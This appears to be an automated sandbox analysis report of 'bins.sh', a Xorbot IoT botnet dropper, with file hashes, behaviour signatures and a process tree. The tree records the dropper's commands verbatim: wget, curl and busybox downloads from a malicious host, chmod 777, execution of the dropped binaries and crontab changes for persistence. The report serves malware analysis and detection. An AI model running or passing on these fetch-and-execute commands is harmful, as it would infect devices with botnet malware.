Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    11/12/2024, 22:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    f3f5e351ff7e5b1bc7781070020ef107

  • SHA1

    01ae69eb15db7129ef85916e10272be7e756674e

  • SHA256

    23c84c8a410c2e031504d3376a35a0d5efdd821459f3a5470da882353aca0bac

  • SHA512

    0cbf04902216dc429456978e465561164fb6fc8a16697995ccf5854d105d3c2a6fd857acc50be84477abec7668225bfe42f9fd5d86dc000cc321b412f0896f20

  • SSDEEP

    192:HBntLonnKRNhAMUEwtm26S6VQsRwFCgd6ntLunnKRN6oCEwtm2US6VQsOQZ:HBntjTUEwtm26S6VQsRQCgd6ntXCEwtM

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1887) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 24 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:713
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:718
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          ./TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:756
          • /bin/chmod
            chmod 777 gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • File and Directory Permissions Modification
            PID:760
          • /tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            ./gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • Executes dropped EXE
            PID:762
          • /bin/rm
            rm gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
              PID:765
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:766
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:778
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:795
            • /bin/chmod
              chmod 777 w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • File and Directory Permissions Modification
              PID:801
            • /tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              ./w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • Executes dropped EXE
              PID:802
            • /bin/rm
              rm w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
                PID:805
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:806
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:807
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:809
              • /bin/chmod
                chmod 777 PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • File and Directory Permissions Modification
                PID:810
              • /tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                ./PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:812
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:815
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:816
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:817
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:818
                    • /bin/rm
                      rm PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                      2⤵
                        PID:832
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                        2⤵
                        • System Network Configuration Discovery
                        PID:837
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                        2⤵
                        • System Network Configuration Discovery
                        PID:839
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:841
                      • /bin/chmod
                        chmod 777 KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                        2⤵
                        • File and Directory Permissions Modification
                        PID:854
                      • /tmp/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                        ./KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                        2⤵
                        • Executes dropped EXE
                        PID:855
                      • /bin/rm
                        rm KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                        2⤵
                          PID:857
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                          2⤵
                          • System Network Configuration Discovery
                          PID:858
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                          2⤵
                          • System Network Configuration Discovery
                          PID:859
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:861
                        • /bin/chmod
                          chmod 777 LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                          2⤵
                          • File and Directory Permissions Modification
                          PID:862
                        • /tmp/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                          ./LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                          2⤵
                          • Executes dropped EXE
                          PID:863
                        • /bin/rm
                          rm LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                          2⤵
                            PID:865
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                            2⤵
                            • System Network Configuration Discovery
                            PID:866
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                            2⤵
                            • System Network Configuration Discovery
                            PID:867
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:869
                          • /bin/chmod
                            chmod 777 VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                            2⤵
                            • File and Directory Permissions Modification
                            PID:870
                          • /tmp/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                            ./VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                            2⤵
                            • Executes dropped EXE
                            • System Network Configuration Discovery
                            PID:871
                          • /bin/rm
                            rm VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                            2⤵
                            • System Network Configuration Discovery
                            PID:873
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                            2⤵
                            • System Network Configuration Discovery
                            PID:874

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /tmp/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /var/spool/cron/crontabs/tmp.qQxVXW

                          Filesize

                          210B

                          MD5

                          ebb075eeebc88c27f492c6c4f5bdf694

                          SHA1

                          5d1a942f50a6d7f06e1a8e65fb83a26b3d85b953

                          SHA256

                          d8902dd69c50355c64af9d3265d3d50faa81b317cdbecac650c037a6db6f4886

                          SHA512

                          b96bae776037268a668c9dfd67c2097968e3ccbedf458bbd4f1cc723048159b6ec10ebb58d8579289e79934fcaa89edfaa3396be806c3f77dcb928c611abfe96